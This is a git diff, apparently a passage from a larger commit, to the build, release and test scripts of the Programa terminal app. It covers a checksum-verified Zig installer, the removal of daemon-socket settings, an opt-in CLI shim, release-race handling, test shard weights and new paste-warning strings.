${ZIG_REQUIRED}" + curl -fSL --retry 3 --retry-delay 5 \ + "https://ziglang.org/download/${ZIG_REQUIRED}/${NAME}.tar.xz" -o "$PARTIAL" + if ! sha256_matches "$PARTIAL"; then + echo "install-zig: SHA-256 mismatch for ${NAME}.tar.xz (expected ${EXPECTED_SHA256})" >&2 + exit 1 + fi + mv "$PARTIAL" "$TARBALL" + trap - EXIT +fi + +rm -rf "${INSTALL_ROOT:?}/$NAME" +tar -xf "$TARBALL" -C "$INSTALL_ROOT" +ZIG_BIN="$INSTALL_ROOT/$NAME/zig" +if [[ ! -x "$ZIG_BIN" ]]; then + echo "install-zig: $ZIG_BIN missing after extraction" >&2 + exit 1 +fi + +# zig resolves its own path through symlinks, so the lib/ next to the real +# binary is found without copying it. +if mkdir -p "$BIN_DIR" 2>/dev/null && [[ -w "$BIN_DIR" ]]; then + ln -sf "$ZIG_BIN" "$BIN_DIR/zig" +else + sudo mkdir -p "$BIN_DIR" + sudo ln -sf "$ZIG_BIN" "$BIN_DIR/zig" +fi + +INSTALLED_VERSION="$("$BIN_DIR/zig" version)" +if [[ "$INSTALLED_VERSION" != "$ZIG_REQUIRED" ]]; then + echo "install-zig: $BIN_DIR/zig reports ${INSTALLED_VERSION}, expected ${ZIG_REQUIRED}" >&2 + exit 1 +fi +echo "zig ${INSTALLED_VERSION} installed at $BIN_DIR/zig" diff --git a/scripts/launch-tagged-automation.sh b/scripts/launch-tagged-automation.sh index ae5bc5127..506cb1a01 100755 --- a/scripts/launch-tagged-automation.sh +++ b/scripts/launch-tagged-automation.sh @@ -104,21 +104,29 @@ fi TAG_ID="$(sanitize_bundle "$TAG")" TAG_SLUG="$(sanitize_path "$TAG")" -APP="$HOME/Library/Developer/Xcode/DerivedData/programa-${TAG_SLUG}/Build/Products/Debug/Programa DEV ${TAG}.app" +# reload.sh builds into the shared DerivedData by default and into a per-tag +# directory with --isolated; accept either. +APP="" +for DERIVED in "programa-shared" "programa-${TAG_SLUG}"; do + CANDIDATE="$HOME/Library/Developer/Xcode/DerivedData/${DERIVED}/Build/Products/Debug/Programa DEV ${TAG}.app" + if [[ -d "$CANDIDATE" ]]; then + APP="$CANDIDATE" + break + fi +done BID="com.darkroom.programa.debug.${TAG_ID}" SOCK="/tmp/programa-debug-${TAG_SLUG}.sock" -DSOCK="$HOME/Library/Application Support/programa/programad-dev-${TAG_SLUG}.sock" LOG="/tmp/programa-debug-${TAG_SLUG}.log" -if [[ ! -d "$APP" ]]; then - echo "error: tagged app not found at $APP" >&2 +if [[ -z "$APP" ]]; then + echo "error: tagged app 'Programa DEV ${TAG}.app' not found in DerivedData/programa-shared or DerivedData/programa-${TAG_SLUG}; run ./scripts/reload.sh --tag ${TAG} first" >&2 exit 1 fi /usr/bin/osascript -e "tell application id \"${BID}\" to quit" >/dev/null 2>&1 || true sleep 0.5 pkill -f "Programa DEV ${TAG}.app/Contents/MacOS/Programa DEV" || true -rm -f "$SOCK" "$DSOCK" +rm -f "$SOCK" sleep 0.5 OPEN_ENV=( @@ -129,7 +137,6 @@ OPEN_ENV=( -u PROGRAMA_PANEL_ID -u PROGRAMA_SURFACE_ID -u PROGRAMA_WORKSPACE_ID - -u PROGRAMAD_UNIX_PATH -u PROGRAMA_TAG -u PROGRAMA_PORT -u PROGRAMA_PORT_END @@ -148,7 +155,6 @@ OPEN_ENV=( -u XDG_DATA_DIRS "PROGRAMA_SOCKET_MODE=${MODE}" "PROGRAMA_SOCKET_PATH=${SOCK}" - "PROGRAMAD_UNIX_PATH=${DSOCK}" "PROGRAMA_DEBUG_LOG=${LOG}" ) @@ -174,7 +180,6 @@ fi echo "app: $APP" echo "bundle_id: $BID" echo "socket: $SOCK" -echo "programad_socket: $DSOCK" echo "log: $LOG" echo "mode: $MODE" echo "socket_ready: $(if [[ -S "$SOCK" ]]; then echo yes; else echo no; fi)" diff --git a/scripts/publish_rolling_release.sh b/scripts/publish_rolling_release.sh index c50812bbc..f0542524b 100755 --- a/scripts/publish_rolling_release.sh +++ b/scripts/publish_rolling_release.sh @@ -163,6 +163,23 @@ require_selected_target_is_current_main() { fail "candidate target ${SELECTED_TARGET} is no longer current main ${current_main} at ${checkpoint}" } +# After the appcast and aliases are public, main moving on is not an error: the +# release run for the new main commit reconciles rolling's title, notes and ref. +# Stop without touching them and exit 0, so the run does not end red after users +# can already download the build. +stop_quietly_if_main_moved() { + local checkpoint="$1" current_main + current_main="$("${GH_BIN}" api \ + "repos/${REPOSITORY}/git/ref/heads/main" \ + --jq .object.sha)" || fail "could not read current main ref at ${checkpoint}" + [[ "${current_main}" =~ ^[0-9a-f]{40}$ ]] || \ + fail "current main ref did not resolve to a commit SHA at ${checkpoint}" + if [[ "${current_main}" != "${SELECTED_TARGET}" ]]; then + echo "::notice title=Rolling metadata deferred::main moved to ${current_main} after ${SELECTED_TARGET} assets were published (${checkpoint}); the next release run updates rolling's title, notes and ref." + exit 0 + fi +} + query_releases_paginated() { local output="$1" "${GH_BIN}" api --paginate \ @@ -603,14 +620,12 @@ fi [[ "${ROLLING_IMMUTABLE_AT_START}" == "false" ]] || \ fail "rolling must remain a legacy mutable release" -# There used to be a second high-water snapshot here, taken after the -# selected candidate was published as a non-latest prerelease archive (a real -# gh mutation with real latency, and therefore a real race window). Candidates -# no longer publish (see the promotion path below), so nothing mutates or -# queries GitHub between the initial snapshot above and this point — a second -# snapshot here would be redundant with it. The pre-publication snapshot below, -# taken after the appcast/alias uploads and immediately before rolling's -# metadata and ref change, remains the meaningful race gate. +# The initial snapshot above is the high-water gate for the uploads: nothing +# queries or changes GitHub between it and here. A newer main commit stops the +# run here, while nothing public has changed. After the uploads, a moved main +# ends the run with a notice (stop_quietly_if_main_moved), and the +# pre-publication snapshot below still guards the metadata and ref against a +# concurrent publisher. require_selected_target_is_current_main "alias publication gate" # The enclosure lands before the feed that points at it, so a client never reads # an appcast whose DMG is not yet downloadable. @@ -675,7 +690,7 @@ if [[ "${FINAL_ACTION}" == "reject" ]]; then fi [[ "${FINAL_ACTION}" == "repair" || "${FINAL_ACTION}" == "promote" ]] || \ fail "state module returned an unknown pre-publication promotion action" -require_selected_target_is_current_main "release metadata publication gate" +stop_quietly_if_main_moved "release metadata publication gate" NOTES_FILE="${TEMP_DIR}/release-notes.md" RAW_NOTES_FILE="${TEMP_DIR}/release-notes.raw.md" @@ -713,7 +728,7 @@ NODE fi if [[ "${PRESERVE_PUBLISHED_METADATA}" != "true" ]]; then - require_selected_target_is_current_main "post-notes release metadata publication gate" + stop_quietly_if_main_moved "post-notes release metadata publication gate" "${GH_BIN}" release edit "${ROLLING_TAG}" \ --repo "${REPOSITORY}" \ --title "Rolling ${SELECTED_VERSION}" \ @@ -723,8 +738,8 @@ if [[ "${PRESERVE_PUBLISHED_METADATA}" != "true" ]]; then fi if [[ "${STARTING_REF}" != "${SELECTED_TARGET}" ]]; then - require_selected_target_is_current_main "rolling ref publication gate" - # Rolling is required (lines 597-598) to already exist as a published + stop_quietly_if_main_moved "rolling ref publication gate" + # Rolling is required (the ROLLING_EXISTS check above) to already exist as a published # release before this point, so its tag ref is always present; a PATCH # failure here is a real error and must propagate, never be silently # retried as "create instead of move" (that masked genuine failures, diff --git a/scripts/reload.sh b/scripts/reload.sh index c74171c81..764d5592a 100755 --- a/scripts/reload.sh +++ b/scripts/reload.sh @@ -11,6 +11,7 @@ DERIVED_SET=0 TAG="" LAUNCH=0 ISOLATED=0 +INSTALL_SHIM=0 PROGRAMA_DEBUG_LOG="" CLI_PATH="" LAST_SOCKET_PATH_DIR="$HOME/Library/Application Support/programa" @@ -97,6 +98,31 @@ select_programa_shim_target() { return 1 } +# Managed `programa` shims an earlier --install-shim run left on PATH. They +# shadow the installed app's CLI, so the default run names them. +find_managed_programa_shims() { + local marker="programa dev shim (managed by scripts/reload.sh)" + local path_entry="" + local candidate="" + local seen=":" + + IFS=':' read -r -a path_entries <<< "${PATH:-}" + for path_entry in "${path_entries[@]}" /opt/homebrew/bin /usr/local/bin "$HOME/.local/bin" "$HOME/bin"; do + [[ -z "$path_entry" ]] && continue + # PATH entries can hold a literal, unexpanded "~/". + # shellcheck disable=SC2088 + if [[ "$path_entry" == "~/"* ]]; then + path_entry="$HOME/${path_entry#~/}" + fi + [[ "$seen" == *":$path_entry:"* ]] && continue + seen="${seen}${path_entry}:" + candidate="$path_entry/programa" + if [[ -f "$candidate" ]] && grep -q "$marker" "$candidate" 2>/dev/null; then + echo "$candidate" + fi + done +} + write_last_socket_path() { local socket_path="$1" mkdir -p "$LAST_SOCKET_PATH_DIR" @@ -122,6 +148,11 @@ Options: --name Override app display/bundle name. --bundle-id Override bundle identifier. --derived-data Override derived data path. + --install-shim Also write a `programa` shim into the first writable PATH + directory ahead of the installed app, so a bare `programa` + runs this dev CLI. Off by default: the shim shadows the + installed CLI for every shell and agent hook. Without it, + use /tmp/programa-cli or ~/.local/bin/programa-dev. -h, --help Show this help. EOF } @@ -191,6 +222,10 @@ while [[ $# -gt 0 ]]; do ISOLATED=1 shift ;; + --install-shim) + INSTALL_SHIM=1 + shift + ;; --derived-data) DERIVED_DATA="${2:-}" if [[ -z "$DERIVED_DATA" ]]; then @@ -344,15 +379,11 @@ if [[ -n "$TAG" && "$APP_NAME" != "$SEARCH_APP_NAME" ]]; then /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier $BUNDLE_ID" "$INFO_PLIST" 2>/dev/null \ || /usr/libexec/PlistBuddy -c "Add :CFBundleIdentifier string $BUNDLE_ID" "$INFO_PLIST" if [[ -n "${TAG_SLUG:-}" ]]; then - APP_SUPPORT_DIR="$HOME/Library/Application Support/programa" - PROGRAMAD_SOCKET="${APP_SUPPORT_DIR}/programad-dev-${TAG_SLUG}.sock" PROGRAMA_SOCKET="/tmp/programa-debug-${TAG_SLUG}.sock" PROGRAMA_DEBUG_LOG="/tmp/programa-debug-${TAG_SLUG}.log" write_last_socket_path "$PROGRAMA_SOCKET" echo "$PROGRAMA_DEBUG_LOG" > /tmp/programa-last-debug-log-path || true /usr/libexec/PlistBuddy -c "Add :LSEnvironment dict" "$INFO_PLIST" 2>/dev/null || true - /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMAD_UNIX_PATH \"${PROGRAMAD_SOCKET}\"" "$INFO_PLIST" 2>/dev/null \ - || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMAD_UNIX_PATH string \"${PROGRAMAD_SOCKET}\"" "$INFO_PLIST" /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMA_SOCKET_PATH \"${PROGRAMA_SOCKET}\"" "$INFO_PLIST" 2>/dev/null \ || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMA_SOCKET_PATH string \"${PROGRAMA_SOCKET}\"" "$INFO_PLIST" /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMA_DEBUG_LOG \"${PROGRAMA_DEBUG_LOG}\"" "$INFO_PLIST" 2>/dev/null \ @@ -361,10 +392,6 @@ if [[ -n "$TAG" && "$APP_NAME" != "$SEARCH_APP_NAME" ]]; then || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMA_SOCKET_ENABLE string 1" "$INFO_PLIST" /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMA_SOCKET_MODE allowAll" "$INFO_PLIST" 2>/dev/null \ || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMA_SOCKET_MODE string allowAll" "$INFO_PLIST" - /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMA_REMOTE_DAEMON_ALLOW_LOCAL_BUILD 1" "$INFO_PLIST" 2>/dev/null \ - || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMA_REMOTE_DAEMON_ALLOW_LOCAL_BUILD string 1" "$INFO_PLIST" - /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMATERM_REPO_ROOT \"${PWD}\"" "$INFO_PLIST" 2>/dev/null \ - || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMATERM_REPO_ROOT string \"${PWD}\"" "$INFO_PLIST" fi /usr/bin/codesign --force --sign - --timestamp=none --generate-entitlement-der "$TAG_APP_PATH" >/dev/null 2>&1 || true fi @@ -380,9 +407,16 @@ if [[ -x "$CLI_PATH" ]]; then DEV_CLI_SHIM="$HOME/.local/bin/programa-dev" write_dev_cli_shim "$DEV_CLI_SHIM" "/Applications/Programa.app/Contents/Resources/bin/programa" - PROGRAMA_SHIM_TARGET="$(select_programa_shim_target || true)" - if [[ -n "${PROGRAMA_SHIM_TARGET:-}" ]]; then - write_dev_cli_shim "$PROGRAMA_SHIM_TARGET" "/Applications/Programa.app/Contents/Resources/bin/programa" + if [[ "$INSTALL_SHIM" -eq 1 ]]; then + PROGRAMA_SHIM_TARGET="$(select_programa_shim_target || true)" + if [[ -n "${PROGRAMA_SHIM_TARGET:-}" ]]; then + write_dev_cli_shim "$PROGRAMA_SHIM_TARGET" "/Applications/Programa.app/Contents/Resources/bin/programa" + fi + else + while IFS= read -r STALE_SHIM; do + [[ -z "$STALE_SHIM" ]] && continue + echo "warning: $STALE_SHIM is a dev shim from an earlier --install-shim run and shadows the installed programa; remove it with: rm '$STALE_SHIM'" >&2 + done < <(find_managed_programa_shims) fi fi @@ -419,12 +453,6 @@ if [[ "$LAUNCH" -eq 1 ]]; then fi sleep 0.3 - if [[ -n "${PROGRAMAD_SOCKET:-}" && -S "$PROGRAMAD_SOCKET" ]]; then - for PID in $(lsof -t "$PROGRAMAD_SOCKET" 2>/dev/null); do - kill "$PID" 2>/dev/null || true - done - rm -f "$PROGRAMAD_SOCKET" - fi if [[ -n "${PROGRAMA_SOCKET:-}" && -S "$PROGRAMA_SOCKET" ]]; then rm -f "$PROGRAMA_SOCKET" fi @@ -439,7 +467,6 @@ if [[ "$LAUNCH" -eq 1 ]]; then -u PROGRAMA_SURFACE_ID -u PROGRAMA_TAB_ID -u PROGRAMA_PANEL_ID - -u PROGRAMAD_UNIX_PATH -u PROGRAMA_TAG -u PROGRAMA_DEBUG_LOG -u PROGRAMA_BUNDLE_ID @@ -457,9 +484,9 @@ if [[ "$LAUNCH" -eq 1 ]]; then if [[ -n "${TAG_SLUG:-}" && -n "${PROGRAMA_SOCKET:-}" ]]; then # Ensure tag-specific socket paths win even if the caller has PROGRAMA_* overrides. - "${OPEN_CLEAN_ENV[@]}" PROGRAMA_TAG="$TAG_SLUG" PROGRAMA_SOCKET_ENABLE=1 PROGRAMA_SOCKET_MODE=allowAll PROGRAMA_SOCKET_PATH="$PROGRAMA_SOCKET" PROGRAMAD_UNIX_PATH="$PROGRAMAD_SOCKET" PROGRAMA_DEBUG_LOG="$PROGRAMA_DEBUG_LOG" PROGRAMA_REMOTE_DAEMON_ALLOW_LOCAL_BUILD=1 PROGRAMATERM_REPO_ROOT="$PWD" open -g "$APP_PATH" + "${OPEN_CLEAN_ENV[@]}" PROGRAMA_TAG="$TAG_SLUG" PROGRAMA_SOCKET_ENABLE=1 PROGRAMA_SOCKET_MODE=allowAll PROGRAMA_SOCKET_PATH="$PROGRAMA_SOCKET" PROGRAMA_DEBUG_LOG="$PROGRAMA_DEBUG_LOG" open -g "$APP_PATH" elif [[ -n "${TAG_SLUG:-}" ]]; then - "${OPEN_CLEAN_ENV[@]}" PROGRAMA_TAG="$TAG_SLUG" PROGRAMA_SOCKET_ENABLE=1 PROGRAMA_SOCKET_MODE=allowAll PROGRAMA_DEBUG_LOG="$PROGRAMA_DEBUG_LOG" PROGRAMA_REMOTE_DAEMON_ALLOW_LOCAL_BUILD=1 PROGRAMATERM_REPO_ROOT="$PWD" open -g "$APP_PATH" + "${OPEN_CLEAN_ENV[@]}" PROGRAMA_TAG="$TAG_SLUG" PROGRAMA_SOCKET_ENABLE=1 PROGRAMA_SOCKET_MODE=allowAll PROGRAMA_DEBUG_LOG="$PROGRAMA_DEBUG_LOG" open -g "$APP_PATH" else echo "/tmp/programa-debug.sock" > /tmp/programa-last-socket-path || true echo "/tmp/programa-debug.log" > /tmp/programa-last-debug-log-path || true diff --git a/scripts/reloads.sh b/scripts/reloads.sh index 623b0b32a..9d1e49652 100755 --- a/scripts/reloads.sh +++ b/scripts/reloads.sh @@ -173,21 +173,11 @@ if [[ -f "$INFO_PLIST" ]]; then # Inject staging socket paths via LSEnvironment so the Release binary # (which defaults to the per-user stable socket) uses isolated sockets instead. STAGING_SLUG="${TAG_SLUG:-staging}" - APP_SUPPORT_DIR="$HOME/Library/Application Support/programa" - PROGRAMAD_SOCKET="${APP_SUPPORT_DIR}/programad-${STAGING_SLUG}.sock" PROGRAMA_SOCKET="/tmp/programa-${STAGING_SLUG}.sock" write_last_socket_path "$PROGRAMA_SOCKET" /usr/libexec/PlistBuddy -c "Add :LSEnvironment dict" "$INFO_PLIST" 2>/dev/null || true - /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMAD_UNIX_PATH \"${PROGRAMAD_SOCKET}\"" "$INFO_PLIST" 2>/dev/null \ - || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMAD_UNIX_PATH string \"${PROGRAMAD_SOCKET}\"" "$INFO_PLIST" /usr/libexec/PlistBuddy -c "Set :LSEnvironment:PROGRAMA_SOCKET_PATH \"${PROGRAMA_SOCKET}\"" "$INFO_PLIST" 2>/dev/null \ || /usr/libexec/PlistBuddy -c "Add :LSEnvironment:PROGRAMA_SOCKET_PATH string \"${PROGRAMA_SOCKET}\"" "$INFO_PLIST" - if [[ -S "$PROGRAMAD_SOCKET" ]]; then - for PID in $(lsof -t "$PROGRAMAD_SOCKET" 2>/dev/null); do - kill "$PID" 2>/dev/null || true - done - rm -f "$PROGRAMAD_SOCKET" - fi if [[ -S "$PROGRAMA_SOCKET" ]]; then rm -f "$PROGRAMA_SOCKET" fi @@ -209,7 +199,6 @@ OPEN_CLEAN_ENV=( -u PROGRAMA_SOCKET_PATH -u PROGRAMA_TAB_ID -u PROGRAMA_PANEL_ID - -u PROGRAMAD_UNIX_PATH -u PROGRAMA_TAG -u PROGRAMA_BUNDLE_ID -u PROGRAMA_SHELL_INTEGRATION @@ -226,7 +215,7 @@ OPEN_CLEAN_ENV=( # Always inject staging socket paths via env to ensure they take effect # (LSEnvironment requires app restart to pick up plist changes). -"${OPEN_CLEAN_ENV[@]}" PROGRAMA_SOCKET_PATH="$PROGRAMA_SOCKET" PROGRAMAD_UNIX_PATH="$PROGRAMAD_SOCKET" open -g "$APP_PATH" +"${OPEN_CLEAN_ENV[@]}" PROGRAMA_SOCKET_PATH="$PROGRAMA_SOCKET" open -g "$APP_PATH" # Safety: ensure only one instance is running. sleep 0.2 diff --git a/scripts/run-tests-v2.sh b/scripts/run-tests-v2.sh index 033e63210..f5cdb9f36 100755 --- a/scripts/run-tests-v2.sh +++ b/scripts/run-tests-v2.sh @@ -224,10 +224,6 @@ echo "== tests (v2) ==" fail=0 for f in tests_v2/test_*.py; do base=$(basename "$f") - if [ "$base" = "test_ctrl_interactive.py" ]; then - echo "SKIP $f" - continue - fi echo "== launch ($base) ==" launch_and_wait diff --git a/scripts/unit-test-shard-weights.txt b/scripts/unit-test-shard-weights.txt index 29ac142d8..333088a7e 100644 --- a/scripts/unit-test-shard-weights.txt +++ b/scripts/unit-test-shard-weights.txt @@ -1,20 +1,53 @@ -# Relative cost of the heaviest programaTests classes, used by scripts/ci-run-unit-tests.sh to -# balance unit-test shards greedily. Classes not listed weigh DEFAULT (6, about the mean test -# count per class). Weights are test-method counts as a proxy for duration; replace them with -# measured per-class seconds from a CI xcresult when balance drifts. Format: . -DEFAULT 6 -AppDelegateShortcutRoutingTests 134 -SessionPersistenceTests 105 -TerminalControllerSocketSecurityTests 41 -WorkspacePanelGitBranchTests 31 -ProgramaConfigDecodingTests 30 -GhosttyMouseFocusTests 30 -BrowserSnapshotJavaScriptPolicyTests 28 -GhosttyConfigTests 27 -CommandPaletteSearchEngineTests 24 -ZshShellIntegrationHandoffTests 24 -KeyboardShortcutSettingsFileStoreTests 23 -GhosttyPasteboardHelperTests 22 -BrowserWindowPortalLifecycleTests 22 -TerminalControllerV2BrowserStateRestoreTests 21 -NotificationDockBadgeTests 21 +# Relative cost of programaTests classes, used by scripts/ci-run-unit-tests.sh to balance +# unit-test shards greedily. Unit: 0.1 s of shard wall time. Parallel classes are the measured +# per-class test seconds x 10 / 2 (each shard runs 2 test clones); AppDelegateShortcutRoutingTests +# runs serially in shard 1, so its weight is its measured seconds x 10. Measured from the +# "Test case ... (N seconds)" lines of the unit-tests-shard jobs of main CI runs 36773601542 and +# 36626257627 (mean of the two). Classes not listed measured under 0.3 s and weigh DEFAULT. +# The stateful weight uses the run at the current shard layout (55 s); it measured 288 s the day +# before, so re-measure when shard 1 is the slower shard again. Format: . +DEFAULT 1 +AppDelegateShortcutRoutingTests 550 +TerminalControllerSocketSecurityTests 210 +BrowserWindowPortalLifecycleTests 100 +MCPSocketBridgeTests 80 +GhosttySurfaceOverlayTests 66 +BrowserSnapshotJavaScriptPolicyTests 40 +PortScannerBurstLifecycleTests 40 +BrowserDeveloperToolsVisibilityPersistenceTests 34 +TerminalNotificationDirectInteractionTests 23 +UpdateCheckTimeoutTests 21 +SessionEscrowReattachRegressionTests 19 +TabManagerPullRequestProbeTests 18 +TerminalWindowPortalLifecycleTests 18 +BrowserHistoryStoreTests 16 +WorkspaceTabColorSettingsTests 14 +BrowserJavaScriptDialogDelegateTests 13 +CodexUsageSnapshotParserTests 12 +TabManagerReopenClosedBrowserFocusTests 11 +SessionAutosaveCoordinatorTests 9 +NotificationDockBadgeTests 8 +ZshShellIntegrationHandoffTests 8 +ReviewPanelRowPlannerTests 7 +GhosttyPasteboardHelperTests 6 +ProgramaWebViewKeyEquivalentTests 5 +CanonicalSubprocessRunnerTests 4 +CommandPaletteSearchEngineTests 4 +SessionPersistenceTests 4 +ClaudeQuotaSnapshotParserTests 3 +GhosttyDefaultBackgroundNotificationDispatcherTests 3 +TerminalControllerV2RefInvariantTests 3 +WindowBrowserSlotViewTests 3 +WorkspacePanelGitBranchTests 3 +AccessibilityInsertTextRegressionTests 2 +AgentActivityStateTests 2 +BrowserPanelHostContainerViewTests 2 +BrowserSessionHistoryRestoreTests 2 +FishShellIntegrationHandoffTests 2 +KeyboardShortcutSettingsFileStoreTests 2 +LayoutAndSelectorBoundaryTests 2 +MarkdownPanelPointerObserverViewTests 2 +TabManagerCloseCurrentPanelTests 2 +TabManagerSessionSnapshotTests 2 +WindowGlassEffectTests 2 +WorkspaceSplitWorkingDirectoryTests 2 diff --git a/tests/test_ci_change_classification.sh b/tests/test_ci_change_classification.sh index 93822c18a..fabbbbc5c 100755 --- a/tests/test_ci_change_classification.sh +++ b/tests/test_ci_change_classification.sh @@ -48,9 +48,19 @@ run_case \ $'Resources/ghostty/themes/preview.png\n' run_case \ - "documentation workflow and localization paths only" \ + "documentation, other workflows and legacy strings only" \ false \ - $'docs/socket-control.md\nREADME.md\n.github/workflows/ci.yml\nResources/Localizable.xcstrings\nResources/ja.lproj/Localizable.strings\n' + $'docs/socket-control.md\nREADME.md\n.github/workflows/release.yml\n.github/pull_request_template.md\nResources/ja.lproj/Localizable.strings\n' + +run_case \ + "string catalog compiles into the app" \ + true \ + $'docs/socket-control.md\nResources/Localizable.xcstrings\n' + +run_case \ + "main CI workflow runs the jobs it edits" \ + true \ + $'README.md\n.github/workflows/ci.yml\n' run_case \ "empty changed path set" \ diff --git a/tests/test_rolling_release_publication.sh b/tests/test_rolling_release_publication.sh index 507c43bb9..937989dfc 100755 --- a/tests/test_rolling_release_publication.sh +++ b/tests/test_rolling_release_publication.sh @@ -1189,12 +1189,14 @@ if tail -n "+${final_hook_line}" "${STATE_DIR}/operations.log" | grep -Eq '^muta fi # Main can also advance after alias bytes verify. The final pre-publication -# recheck must preserve metadata, latest status, and the tag ref. +# recheck must preserve metadata, latest status, and the tag ref, and end the +# run with a notice (exit 0): the assets are already public, and the run for +# the new main commit reconciles the rest. reset_state seed_sealed_candidate 103; seed_rolling 102; : > "${STATE_DIR}/operations.log" unset final_main_race_status FAKE_GH_ADVANCE_MAIN_BEFORE_METADATA="$(target_sha_for 104)" invoke_rolling || final_main_race_status=$? -[[ "${final_main_race_status:-0}" -ne 0 ]] || fail "pre-metadata main advancement did not stop reconciliation" +[[ "${final_main_race_status:-0}" -eq 0 ]] || fail "pre-metadata main advancement after public uploads ended the run red" grep -Fq "main-advanced-before-metadata $(target_sha_for 104)" "${STATE_DIR}/operations.log" || fail "pre-metadata main race hook was not reached" assert_asset_equals rolling appcast.xml "${FIXTURE_DIR}/103/appcast.xml" assert_asset_equals rolling programa-macos.dmg "${FIXTURE_DIR}/103/programa-macos.dmg" @@ -1209,12 +1211,13 @@ if tail -n "+${final_main_hook_line}" "${STATE_DIR}/operations.log" | grep -Eq ' fi # Notes generation is an external call and can race with main advancing. The -# publisher must recheck main after notes return and before metadata/ref writes. +# publisher must recheck main after notes return and before metadata/ref writes, +# and stop with a notice (exit 0) because the assets are already public. reset_state seed_sealed_candidate 103; seed_rolling 102; : > "${STATE_DIR}/operations.log" unset notes_main_race_status FAKE_GH_ADVANCE_MAIN_DURING_NOTES="$(target_sha_for 104)" invoke_rolling || notes_main_race_status=$? -[[ "${notes_main_race_status:-0}" -ne 0 ]] || fail "main advancement during notes did not stop publication" +[[ "${notes_main_race_status:-0}" -eq 0 ]] || fail "main advancement during notes after public uploads ended the run red" grep -Fq "main-advanced-during-notes $(target_sha_for 104)" "${STATE_DIR}/operations.log" || fail "notes main-race hook was not reached" assert_file_equals "$(release_dir rolling)/title" 'Rolling 0.64.73' assert_file_equals "$(release_dir rolling)/body" 'notes-102' diff --git a/tests_v2/test_ctrl_interactive.py b/tests_v2/test_ctrl_interactive.py deleted file mode 100755 index 4b7675d58..000000000 --- a/tests_v2/test_ctrl_interactive.py +++ /dev/null @@ -1,121 +0,0 @@ -#!/usr/bin/env python3 -""" -Interactive test for Ctrl+C and Ctrl+D in programa terminal. - -This script tests that control signals are properly handled. -Run this script inside the programa terminal. - -Tests: -1. Ctrl+C (SIGINT) - Should interrupt a running process -2. Ctrl+D (EOF) - Should signal end-of-file on stdin - -Usage: - python3 test_ctrl_interactive.py -""" - -import signal -import sys -import os - -def test_ctrl_c(): - """Test Ctrl+C signal handling""" - print("\n=== Test 1: Ctrl+C (SIGINT) ===") - print("This test will wait for you to press Ctrl+C.") - print("Press Ctrl+C now...") - - received = [False] - - def handler(signum, frame): - received[0] = True - print("\n✅ SUCCESS: SIGINT (Ctrl+C) received!") - - old_handler = signal.signal(signal.SIGINT, handler) - - try: - # Wait for up to 10 seconds for Ctrl+C - import time - for i in range(10): - if received[0]: - break - time.sleep(1) - if not received[0]: - print(f" Waiting... ({10-i-1}s remaining)") - - if not received[0]: - print("\n❌ FAILED: No SIGINT received within 10 seconds") - print(" Ctrl+C may not be working correctly.") - return False - return True - finally: - signal.signal(signal.SIGINT, old_handler) - -def test_ctrl_d(): - """Test Ctrl+D (EOF) handling""" - print("\n=== Test 2: Ctrl+D (EOF) ===") - print("This test will read from stdin.") - print("Press Ctrl+D (on empty line) to send EOF...") - print("Type something and press Enter, then Ctrl+D on empty line:") - - try: - lines = [] - while True: - try: - line = input("> ") - lines.append(line) - except EOFError: - print("\n✅ SUCCESS: EOF (Ctrl+D) received!") - print(f" Lines entered before EOF: {len(lines)}") - return True - except KeyboardInterrupt: - print("\n⚠️ Got Ctrl+C instead of Ctrl+D") - return False - -def main(): - print("=" * 50) - print("programa Control Signal Test") - print("=" * 50) - print("\nThis script tests if Ctrl+C and Ctrl+D work correctly.") - print("Run this inside the programa terminal to verify the fix.\n") - - # Check if running in a terminal - if not os.isatty(sys.stdin.fileno()): - print("Warning: Not running in a terminal") - - results = [] - - # Test Ctrl+C - try: - results.append(("Ctrl+C (SIGINT)", test_ctrl_c())) - except Exception as e: - print(f"Error in Ctrl+C test: {e}") - results.append(("Ctrl+C (SIGINT)", False)) - - # Test Ctrl+D - try: - results.append(("Ctrl+D (EOF)", test_ctrl_d())) - except Exception as e: - print(f"Error in Ctrl+D test: {e}") - results.append(("Ctrl+D (EOF)", False)) - - # Summary - print("\n" + "=" * 50) - print("Test Results Summary") - print("=" * 50) - - all_passed = True - for name, passed in results: - status = "✅ PASS" if passed else "❌ FAIL" - print(f" {name}: {status}") - if not passed: - all_passed = False - - print() - if all_passed: - print("All tests passed! Control signals are working correctly.") - else: - print("Some tests failed. Check the key input handling code.") - - return 0 if all_passed else 1 - -if __name__ == "__main__": - sys.exit(main()) diff --git a/windows/Programa/Strings/en-US/Resources.resw b/windows/Programa/Strings/en-US/Resources.resw index da8b2bf74..79e9214f4 100644 --- a/windows/Programa/Strings/en-US/Resources.resw +++ b/windows/Programa/Strings/en-US/Resources.resw @@ -5,4 +5,5 @@ OK Open SettingsNew tabClose tabSplit verticallySplit horizontallySelect tab 1Select tab 2Select tab 3Select tab 4Select tab 5Select tab 6Select tab 7Select tab 8Select tab 9CopyPastePaste (alternate) The terminal could not start.RetryCopyPasteTerminal + Confirm pasteThis text has line breaks or control characters, and the program in this terminal has not turned on bracketed paste, so it can run as soon as it is pasted. diff --git a/windows/Programa/Strings/ja-JP/Resources.resw b/windows/Programa/Strings/ja-JP/Resources.resw index 0defd2ddb..316c88409 100644 --- a/windows/Programa/Strings/ja-JP/Resources.resw +++ b/windows/Programa/Strings/ja-JP/Resources.resw @@ -5,4 +5,5 @@ OK 設定を開く新しいタブタブを閉じる縦に分割横に分割タブ1を選択タブ2を選択タブ3を選択タブ4を選択タブ5を選択タブ6を選択タブ7を選択タブ8を選択タブ9を選択コピー貼り付け貼り付け(代替) 